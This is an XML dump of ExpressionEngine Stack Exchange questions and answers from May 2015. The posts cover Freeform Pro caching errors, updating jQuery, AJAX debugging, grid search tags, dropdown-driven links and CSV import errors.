  <row Id="31454" PostTypeId="1" CreationDate="2015-05-12T10:46:18.943" Score="0" ViewCount="166" Body="&lt;p&gt;I have an event template that pulls in a Freeform Pro field, via the Freeform Pro fieldtype, which relates a form to an entry. I'm having problems with a reoccurring error that says &quot;Invalid form id(s)&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;events-{segment_2}-mobile_{gv_device_is_mobile}&quot; tags=&quot;event&quot;}&#xA;&#xA;    {exp:stash:set_list&#xA;        name=&quot;event-{segment_2}&quot;&#xA;        parse_tags=&quot;yes&quot;&#xA;        parse_depth=&quot;3&quot;&#xA;        parse_conditionals=&quot;yes&quot;&#xA;        save=&quot;yes&quot;&#xA;        refresh=&quot;60&quot;&#xA;        scope=&quot;site&quot;&#xA;        replace=&quot;yes&quot;&#xA;    }&#xA;        {exp:channel:entries&#xA;            channel=&quot;event&quot;&#xA;            cache=&quot;yes&quot;&#xA;            refresh=&quot;60&quot;&#xA;            disable=&quot;member_data|pagination|trackbacks&quot;&#xA;            show_expired=&quot;no&quot;&#xA;            status=&quot;open&quot;&#xA;            require_entry=&quot;yes&quot;&#xA;        }&#xA;&#xA;            {stash:event_title}{title}{/stash:event_title}&#xA;            {stash:event_id}{entry_id}{/stash:event_id}&#xA;&#xA;            {!-- This is my Freeform Pro Fieldtype https://www.solspace.com/docs/freeform/channel_entry_fieldtype/ --}&#xA;            {stash:event_form}{event_form}{/stash:event_form}&#xA;&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:set name=&quot;content&quot;}&#xA;        {exp:stash:get_list&#xA;            name=&quot;event-{segment_2}&quot;&#xA;        }&#xA;            &amp;lt;h1&amp;gt;{event_title}&amp;lt;/h1&amp;gt;&#xA;&#xA;            {exp:ce_cache:escape}&#xA;                {if event_form}&#xA;                &amp;lt;div class=&quot;wb bt&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;                        {event_form}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            {/exp:ce_cache:escape}&#xA;&#xA;        {/exp:stash:get_list}&#xA;    {/exp:stash:set}&#xA;&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm using Stash to set all of the data related to the entry and &lt;code&gt;{stash:event_form}&lt;/code&gt; captures the Freeform Pro fieldtype. I'm also using CE Cache on the page, but i'm using CE Cache Escape tags &lt;code&gt;{exp:ce_cache:escape}&lt;/code&gt; around the actual form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if someone can tell me if I need to be doing anything else to prevent this error? I can fix it temporarily by deleting the page from CE Cache, but eventually it reoccurs - presumably after someone completes a form on another entry.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-05-12T17:43:23.057" Title="Freeform Pro issue with Stash and CE Cache" Tags="|solspace-freeform|stash|cache|ce-cache|caching|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31455" PostTypeId="2" ParentId="31443" CreationDate="2015-05-12T10:52:19.127" Score="1" Body="&lt;p&gt;Ok, To update the jquery reference globally you can do it by redefining the constant PATH_JQUERY. This definition is defined in the file &lt;code&gt;/system/expressionengine/modules/jquery/mod.jquery.php&lt;/code&gt;, lines 39 through 46 (on EE2.10.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patch &lt;strong&gt;assumes you have your jquery and its dependant libraries in the same folder structure as in &lt;code&gt;/themes/javascript&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my usual notice : &lt;strong&gt;This method involves modifying core files. Be aware that future upgrades and/or changes may invalidate your work!&lt;/strong&gt; Modifying core is usually not recommended however there's no other way thus far (apart from writing a module that overloads the Jquery class in EE, but I digress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to apply this patch is to first copy the jquery directory at &lt;code&gt;/themes/javascript/compressed/jquery&lt;/code&gt; to the same parent folder. For this example lets assume I've copied the directory and renamed to &lt;code&gt;jquery_2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By copying the existing folder we can pick and choose the elements we upgrade, you can rebuild or refactor other or specific elements which I hint to at the end, but this method is by far the easiest to manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now in my &lt;code&gt;jquery_2&lt;/code&gt; folder I wish to just update jquery core, so I go and get my compressed file, and replace the jquery.js file in my new directory. Similarly if you wish to upgrade UI elements you'll need to replace the resourses in your new directory in the same fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, we need to tell EE to look in our new directory, so referring to the file mentioned able I change line 45 (EE2.10.1) from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('PATH_JQUERY', PATH_THEMES.'javascript/compressed/jquery/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('PATH_JQUERY', PATH_THEMES.'javascript/compressed/jquery_2/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And thats it, we're done. This patch works to update Jquery in the CP, SAEF, File Upload and the front end  jquery tags too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cherry Picking elements to upgrade&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you don't want to copy the entire themes javascript folder, perhaps you just want to drop in a minor change to just the jquery core? In this case take a look at lines 80 through 106 of &lt;code&gt;/system/expressionengine/modules/jquery/mod.jquery.php&lt;/code&gt;. Here what is happening is depending on what part of jquery is requested (file, plugin, ui, effect, or core) the sub path is appened to &lt;code&gt;PATH_JQUERY&lt;/code&gt; (which we no from above is defined as &lt;code&gt;PATH_THEMES.'javascript/compressed/jquery/&lt;/code&gt;), therefor just drop your new file(s) somewhere in the &lt;code&gt;PATH_JQUERY&lt;/code&gt; folder, find the lines in the big if statement that relate to what you need and alter the sub-path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And finally&lt;/strong&gt;&#xA;While this solution is more verbose, it is technichally the same as jChrono's comment, except we're not overriding the existing files, but a copy.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-12T10:52:19.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31456" PostTypeId="2" ParentId="30822" CreationDate="2015-05-12T10:53:27.707" Score="0" Body="&lt;p&gt;There's no easy way, but I've just answered a similar question here : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31443/ee-2-10-1-jquery-jquery-ui-update/31455#31455&quot;&gt;EE 2.10.1 jQuery &amp;amp; jQuery UI update&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course Brandon's answer seems alot more succinct!!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-05-12T10:53:27.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31457" PostTypeId="2" ParentId="31453" CreationDate="2015-05-12T10:58:41.667" Score="1" Body="&lt;p&gt;It looks like you have some &quot;sticky&quot; entries, as per &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#sticky&quot; rel=&quot;nofollow&quot;&gt;the Docs&lt;/a&gt; please try adding &lt;code&gt;sticky=&quot;no&quot;&lt;/code&gt; to you channel entries tag and see if that corrects things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise please also supply details of if any of these entries have different statuses or future/past posting dates, as the debugging will get a bit more difficult!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-12T10:58:41.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31458" PostTypeId="2" ParentId="31450" CreationDate="2015-05-12T11:02:23.007" Score="1" Body="&lt;p&gt;Looks like the answer you need is in one of the 2 answers given here mate : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5603/store-module-how-to-update-product-modifier-from-the-cart-page&quot;&gt;Store module: How to update product modifier from the cart page?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-05-12T11:02:23.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31459" PostTypeId="1" CreationDate="2015-05-12T15:17:20.277" Score="0" ViewCount="152" Body="&lt;p&gt;We have recently moved server to the AWS platform so this might be an issue on the infrastructure side of things rather than with Freeform Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I have a modal contact us form that is being submitted by AJAX. The data is being saved to Freeform but I'm not getting any kind of AJAX response data when I take a look in Chrome Dev Tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be an issue with using a load balancer?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-05-29T17:37:53.443" Title="Freeform Pro - AJAX response information not being returned" Tags="|solspace-freeform|ajax|aws|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31460" PostTypeId="2" ParentId="31459" CreationDate="2015-05-12T16:15:51.277" Score="0" Body="&lt;p&gt;There's no easy answer here I'm afraid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Becasue the freeform entry is created we can assume that the ACTion request is processed and a response is &quot;trying&quot; to be sent, it's just you're not recieving it. This in turn leads us to the question &quot;Where is my response going?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step for me would be to run a test and check your server logs (apache? whats your hosting enviroment??), this will confirm that a response is being sent from the server at least...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can re-test without your load balancer / server cache that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in lieu of this lets start by confirming if a plain old AJAX works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One template, really simple for this example it'll be located at &lt;code&gt;test/is_it_safe&lt;/code&gt;, the contents : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;answer&quot;:&quot;yes it is&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on another page (lets say &lt;code&gt;test/ajax&lt;/code&gt;) lets stick a simple Jquery script...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function(e){&#xA;    $.ajax(&quot;index.php/test/is_it_safe&quot;, {&#xA;        dataType: 'JSON',&#xA;        success: function(data) {&#xA;            alert(&quot;Is it safe? &quot; + data.answer);&#xA;        }}&#xA;    );&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load the page, does the answer get returned?? YOu can also expand on your test script (add an error: handler, add some console.logs ect) to see if the response is malformed/not coming/ect....&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-12T16:15:51.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31461" PostTypeId="2" ParentId="13986" CreationDate="2015-05-12T16:30:21.960" Score="1" Body="&lt;p&gt;You certainly can. take a look at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#search-column-name&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;search:column_name&lt;/code&gt;&lt;/a&gt; parameter of the grid tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is in your results loop, call the grid tags with the search parameters from the origional search, something like this (untested) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;&#xA;    {my_grid_field search:column1=&quot;{exp:search:keywords}&quot; search:column2=&quot;{exp:search:keywords}&quot;}&#xA;&#xA;         &amp;lt;h2&amp;gt;{my_grid_field:column1}&amp;lt;/h2&amp;gt;&#xA;         &amp;lt;p&amp;gt;&#xA;             {my_grid_field:column2}&#xA;             &amp;lt;img src=&quot;{my_grid_field:column3}&quot; alt=&quot;{my_grid_field:column1}&quot; style=&quot;float:left;&quot; /&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;&#xA;    {/my_grid_field}&#xA;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is we're using the good old grid tag pair, and redoing the search by passing the search string back into the grid field. Simple really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use one of the myriad of string replacement modules to find and highlight your search terms in the grid columns...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-12T16:30:21.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31462" PostTypeId="2" ParentId="31439" CreationDate="2015-05-12T16:34:06.410" Score="1" Body="&lt;p&gt;Thank you Rakesh and Tom. Member Group Tabs is now compatible with EE v2.10.1.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2015-05-12T16:34:06.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31463" PostTypeId="2" ParentId="30422" CreationDate="2015-05-12T16:36:30.303" Score="0" Body="&lt;p&gt;Sorry I never answered this earlier, but we've had a duplicate question that I've posed an answer too here : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13986/grid-and-search-results/31461#31461&quot;&gt;Grid and Search Results&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this might help if this quesion is not too stale??&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-05-12T16:36:30.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31464" PostTypeId="1" AcceptedAnswerId="31465" CreationDate="2015-05-12T16:37:27.310" Score="1" ViewCount="138" Body="&lt;p&gt;My page is shown in the image below. Users must select the city they are in using the dropdown. Then they click one of the images. The link is currently &lt;code&gt;&amp;lt;a href=&quot;{path=type/{title}/}&quot;&amp;gt;&lt;/code&gt;. I'd like it to be automatically populated like &lt;code&gt;&amp;lt;a href=&quot;{path=type/{title}/Portland/}&quot;&amp;gt;&lt;/code&gt;, based on whatever is selected in the dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want the dropdown to load a new page - that would be way too slow. So I am looking for an alternative solution (CSS3 or JavaScript?), something that is lightweight and quick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;type&quot; search:primary-category=&quot;not --&quot; search:secondary-category=&quot;&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;a href=&quot;{path=type/{title}/Portland/}&quot;&amp;gt;&#xA;       &amp;lt;div id=&quot;secondary-images&quot;&amp;gt;&#xA;           {exp:ce_img:single src=&quot;{type-image}&quot; max=&quot;100&quot; crop=&quot;yes&quot; }&#xA;           &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7AxLE.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6249" LastEditorUserId="7705" LastEditDate="2019-01-07T15:26:26.673" LastActivityDate="2019-01-07T15:26:26.673" Title="How to use dropdown to populate link tag" Tags="|links|drop-down|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31465" PostTypeId="2" ParentId="31464" CreationDate="2015-05-12T16:55:27.637" Score="1" Body="&lt;p&gt;Assuming your dropdown is named and id's as &lt;code&gt;city_select&lt;/code&gt; and has the vlaues set to the URI that you wisdh to add, like this :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;city_select&quot; name=&quot;city_select&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;Portland&quot;&amp;gt;Portland, Oregon&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;USA&quot;&amp;gt;USA, Earth&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The below is pure jquery : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;    //get the common part of the URI&#xA;    var targetSegment = 3;&#xA;&#xA;    //wait for the page to load&#xA;    $(document).ready(function(e){&#xA;&#xA;        //on change event&#xA;        $('#city_select').change(function(e){&#xA;&#xA;            //iterate the links (add a valid selector here)&#xA;            $('#container a').each(function(){&#xA;&#xA;                //get the new 'part'&#xA;                var extraUri = $('#city_select option:selected').eq(0).attr('value');&#xA;&#xA;                //explode the current URI of the link&#xA;                var uriParts = $(this).attr('href').split('/');&#xA;&#xA;                //build new URI&#xA;                var myUri = &quot;&quot;;&#xA;                for ( var c = 1 ; c &amp;lt; targetSegment ; c++ ) {&#xA;                    myUri += uriParts[c] + &quot;/&quot;;&#xA;                }&#xA;                myUri += extraUri;&#xA;&#xA;                //apply the URI&#xA;                $(this).attr('href', myUri);&#xA;&#xA;            });&#xA;&#xA;        });&#xA;&#xA;    });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or at least something like that, you'll have to debug the script yourself as I've written this straight to notepad (my test sandbox site is no available atm) so it can also probably be hightly optimised, but I beleive this will give you the idea...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-12T16:55:27.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31466" PostTypeId="2" ParentId="31450" CreationDate="2015-05-12T17:33:15.040" Score="0" Body="&lt;p&gt;As Adrian mentioned in the previously mentioned link this is not a normal behavior for Store as it see items with different modifiers/skus as separate line items in the cart. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The underlying issue you are running into here is that Store treats&#xA;  any products with different modifiers as separate line items in your&#xA;  cart (for example if you add a Red Shirt and Blue Shirt to your cart,&#xA;  it would not make sense to merge them into a single line item on the&#xA;  invoice). That is why when you try to update the &quot;modifier&quot;, it adds a&#xA;  new line item to the cart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in Store v2 you are still really faced with the same two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Write an extension with a custom form action URL, which edits the cart&#xA;  directly in the database (this is easier than it sounds, you can use&#xA;  our cart library to recalculate everything once you change the&#xA;  modifiers)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is what Brian did when he tapped into the &lt;code&gt;store_cart_update_start&lt;/code&gt; hook in Store v1. You could create the same functionality in Store v2 by using one of the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#order_update_hooks&quot; rel=&quot;nofollow&quot;&gt;order_update hooks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remove the existing product and add a new product. This would require&#xA;  some javascript to make two sequential form submissions seem like a&#xA;  single step to the customer, because the checkout form and product&#xA;  form have different action URLs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are not comfortable with php this would be your best best, you could open a modal that allows the customer to add a new product to the cart with the correct modifiers and then deletes the product with the different modifiers from the cart. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-05-12T17:33:15.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31467" PostTypeId="2" ParentId="31454" CreationDate="2015-05-12T17:43:23.057" Score="1" Body="&lt;p&gt;We never recommend caching a form because it has a unique identifier from ExpressionEngine for CSRF protection that's generated per page as well as a unique identifier from Freeform used to prevent spamming, malicious form manipulation, and to assist in multipage forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are getting the invalid form ID error because the cached form isn't able to regenerate the params ID Freeform needs to function properly.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-05-12T17:43:23.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31468" PostTypeId="2" ParentId="31433" CreationDate="2015-05-12T18:28:11.733" Score="0" Body="&lt;p&gt;We can confirm this issue on our end as well. It's a bug and we'll get a fix out for it soon. In the meantime, the workaround suggested above will resolve the issue for now (wrapping conditional around pagination code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:paginate}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-05-12T18:28:11.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31469" PostTypeId="2" ParentId="26709" CreationDate="2015-05-12T20:19:57.770" Score="0" Body="&lt;p&gt;Old post which the OP seems to have dropped, but for anyone stumbling on this for their own purposes…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To build on what Mark mentioned, and since OP noted that he's not overly familiar with ExpressionEngine, the location of the 'static' template setting is as pictured below (note the Breadcrumb trail at the top of the image to get to the template's settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two suggestions, that a) the template is set to static or b) there's a simple typo causing EE's tags to not parse, are two excellent places to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDDOt.jpg&quot; alt=&quot;Static Template setting, ExpressionEngine&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2015-05-12T20:19:57.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31470" PostTypeId="2" ParentId="25851" CreationDate="2015-05-12T20:52:03.440" Score="1" Body="&lt;p&gt;I know this is an old thread, but I ran into this issue recently. In my case, I had a field named &quot;poll&quot; which was causing a variable collision.&lt;/p&gt;&#xA;" OwnerUserId="1753" LastActivityDate="2015-05-12T20:52:03.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31471" PostTypeId="1" CreationDate="2015-05-12T20:52:07.750" Score="0" ViewCount="46" Body="&lt;p&gt;Is anyone aware of Freeform notifications being sent with 'word wrap' even though the selection is unselected in the settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the most up to date versions of both EE (2.10.1) and Freeform (4.2.2) and cant for the life of me work out how to turn this feature off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All email notifications are coming through in a right mess. Have also turned the setting off in Admin&gt;Email Configuration too but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6298" LastActivityDate="2015-05-12T20:52:07.750" Title="Freeform Notifications Word Wrap Problem" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31472" PostTypeId="1" CreationDate="2015-05-12T21:02:37.280" Score="0" ViewCount="27" Body="&lt;p&gt;I've just added Solspace Shortcut to an install. I've tested some URLs from within the module itself and those seem to work fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then added the fieldtype to the Channel and added a custom shortcut but it didn't resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now looking at the Shortcut control panel, I can see the shortcut but the URL is 'not set'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I try to edit, I just get the control panel home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-05-12T21:02:37.280" Title="Solspace Shortcut for an entry" Tags="|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31473" PostTypeId="2" ParentId="31095" CreationDate="2015-05-12T21:36:14.783" Score="0" Body="&lt;p&gt;It turns out that there was a bug in EE. It took several weeks to get it resolved, but this fixed it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20959/php-error-after-upgrade-from-2.9.2-2.10.1-in-admin-section&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20959/php-error-after-upgrade-from-2.9.2-2.10.1-in-admin-section&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6237" LastActivityDate="2015-05-12T21:36:14.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31474" PostTypeId="1" CreationDate="2015-05-12T22:36:44.363" Score="2" ViewCount="212" Body="&lt;p&gt;I have a template that is pulling in the parents of a relationship field with the {parents} tag. I'm seeing a notice when I load the page for each of the {parents}. The child's data is just a text field and not in a grid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined offset: 95&#xA;&#xA;Filename: relationship_parser/Tree_builder.php&#xA;&#xA;Line Number: 544&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This same notice is repeated for each of the parent entries. Through some research, I believe this is caused because of a malformed array being fed to Tree_builder.php, but I'm not sure what I should be looking for to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've echoed out the entry_id as they are passed into Tree_builder's function to assign entries. When I look at the database, I can see the entry_id with what appears to be valid child_id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on debugging this would be greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="6199" LastActivityDate="2015-05-12T22:36:44.363" Title="PHP Error from relationship field: Undefined offset: 95, Filename: relationship_parser/Tree_builder.php" Tags="|templates|relationships|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31475" PostTypeId="1" CreationDate="2015-05-13T01:14:39.223" Score="1" ViewCount="71" Body="&lt;p&gt;I've turned on the ExpressionEngine blacklist module (V3.0.1 on EE2.8.1) and despite black listing a series of IPs (including one of my own for testing) it has made no difference. I can post to Safecracker forms from the black listed IP without any trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I am not letting EE write to my .htaccess file as it isn't supposed to be necessary.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2015-05-13T01:14:39.223" Title="ExpressionEngine Blacklist Does Nothing" Tags="|ip|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31476" PostTypeId="1" CreationDate="2015-05-13T03:40:14.027" Score="0" ViewCount="47" Body="&lt;p&gt;I'm trying to upload a csv file in Google Maps for ExpressionEngine (Objective HTML) and get the output below. On my local installation it imports fine but on the live server I get this error. I can otherwise upload csv files within EE, e.g. within the Assets module. What could prevent the upload within the Google Maps module? I'm testing with a small file with 2 entries and a header row.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: file_get_contents(): Filename cannot be empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Gmap_import.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 634&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: file_put_contents(): Filename cannot be empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Gmap_import.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 636&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can not load csv file&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm using Google Maps for EE 3.3.8 on EE 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="6299" LastActivityDate="2016-06-14T01:12:00.843" Title="CSV upload in Google Maps for ExpressionEngine - PHP error: Filename cannot be empty" Tags="|google-maps-for-ee|csv|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31477" PostTypeId="2" ParentId="31476" CreationDate="2015-05-13T03:58:10.180" Score="0" Body="&lt;p&gt;I discovered in the php error logs it was looking for a /tmp folder above web root so I created that and the upload now works.&lt;/p&gt;&#xA;" OwnerUserId="6299" LastActivityDate="2015-05-13T03:58:10.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
